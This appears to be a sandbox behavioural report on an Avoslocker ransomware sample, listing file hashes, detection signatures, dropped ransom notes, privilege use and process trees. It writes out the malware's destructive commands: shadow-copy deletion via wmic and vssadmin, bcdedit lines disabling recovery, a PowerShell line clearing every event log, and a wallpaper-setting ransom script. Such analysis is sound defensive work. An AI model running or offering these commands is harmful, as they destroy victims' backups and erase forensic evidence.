powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1097102204.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr

MD5 e27b5291c8fb2dfdeb7f16bb6851df5e
SHA1 40207f83b601cd60905c1f807ac0889c80dfe33f
SHA256 ffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
SHA512 2ddbc50cd780ffbf73c354b9b437322eb49cb05bb6f287d54e7dcafb61dc4c4549e37ae2f972f3d240bfa7d2ca485b7583137f1bf038bc901f378cea0c305c6a

memory/2720-5-0x000000013F110000-0x000000013F22E000-memory.dmp

C:\GET_YOUR_FILES_BACK.txt

MD5 c92c2b70fb37f84aab38412ad9226aa8
SHA1 14f2e9a83285612d0a7b2c83b8f89bccfde6c154
SHA256 d64639e873c0873b469cd856d1ef4bce7dc14a80fac6fe2bed9d629f05acc77f
SHA512 04f9dcb3cd49909712535255b6eadd7fafcb2902bf1abd5a25e9bb5f5c4dc032611aec0a5b0ec89cd7dbc65276b935c54b906b391507d2e3e3aa65466b15f848

memory/1884-1158-0x000000001B810000-0x000000001BAF2000-memory.dmp

memory/1884-1219-0x0000000001D10000-0x0000000001D18000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 1227e624bf7c3c79069b5f12d76df314
SHA1 736530baaeb9bafe1ba37f34a62175a8af30142e
SHA256 e2cc4c4116a1994f015d73ac52a3c56b21ba3bab6554adde28c84a501000166c
SHA512 eff3841b7746cd5f23767c784220fabb4b6049c0772b827b4c0210f8aa6449fcdf732e346a095641df9da33880d824920b5ff06312a9d6af0096efd1dbd94ecb

memory/13332-24620-0x000000001B740000-0x000000001BA22000-memory.dmp

memory/13332-24621-0x0000000001F00000-0x0000000001F08000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-12-25 14:50

Reported

2024-12-25 14:52

Platform

win10v2004-20241007-en

Max time kernel

96s

Max time network

135s

Command Line

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Avoslocker family

avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (8468) files with added filename extension

ransomware

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\testing.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\208467486.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremDemoR_BypassTrial365-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp4-pl.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\pt-br_get.svg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nb-no\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-16_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\vi\msipc.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Java\jre-1.8\lib\management-agent.jar C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Trust Protection Lists\Sigma\Cryptomining C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\fr-CA.pak.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-Advanced-Dark.scale-400.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Analysis Services\AS OLEDB\140\Cartridges\sqlpdw.xsl C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Java\jdk-1.8\jre\lib\ext\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\rhp_world_icon.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\System\Ole DB\ja-JP\sqlxmlx.rll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\ru.pak.DATA C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\zh-cn\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\open_original_form.gif C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxCalendarAppList.targetsize-48.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\WINWORD.VisualElementsManifest.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\WINWORD_COL.HXC C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\s_checkbox_selected_18.svg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\Doughboy.scale-150.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\officeinventoryagentlogon.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\dotnet\host\fxr\6.0.27\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\nl-nl\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\it-it\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_folder-disabled_32.svg C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxA-Yahoo-Light.scale-125.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\GenericMailWideTile.scale-125.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogoSmall.scale-140.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\Library\Analysis\FUNCRES.XLAM C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\sql90.xsl C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\sat_logo_2x.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\sfs_icons.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ca-es\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusMSDNR_Retail-ul-phn.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\de-DE\TabTip.exe.mui C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ja-jp\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogoSmall.scale-140.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\WinWordLogo.contrast-white_scale-80.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OsfInstallerConfigOnLogon.xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-48_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_SubTrial4-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\new_icons_retina.png C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\it-it\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RADIAL\RADIAL.INF C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\de\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_OEM_Perp-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\gu.pak C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\zh-tw\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\ui-strings.js C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSGet.Format.ps1xml C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File created C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
File opened for modification C:\Program Files\Microsoft Office\root\vreg\powerpivot.x-none.msi.16.x-none.vreg.dat C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2872 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2872 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 2872 wrote to memory of 4000 N/A C:\Users\Admin\AppData\Local\Temp\testing.exe C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr
PID 4000 wrote to memory of 4204 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 4204 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 1836 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 1836 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 1456 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 1456 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 2068 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 2068 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4000 wrote to memory of 2736 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\SYSTEM32\cmd.exe
PID 4204 wrote to memory of 2524 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4204 wrote to memory of 2524 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1836 wrote to memory of 2164 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 1836 wrote to memory of 2164 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2736 wrote to memory of 2612 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2736 wrote to memory of 2612 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1456 wrote to memory of 1104 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 1456 wrote to memory of 1104 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2068 wrote to memory of 3596 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2068 wrote to memory of 3596 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4000 wrote to memory of 14812 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4000 wrote to memory of 14812 N/A C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 14812 wrote to memory of 15220 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 14812 wrote to memory of 15220 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 14812 wrote to memory of 15312 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 14812 wrote to memory of 15312 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\testing.exe

"C:\Users\Admin\AppData\Local\Temp\testing.exe"

C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr

"C:\Users\Admin\AppData\Local\Temp\P1kAlMiG2Kb7.scr" /S

C:\Windows\SYSTEM32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\SYSTEM32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

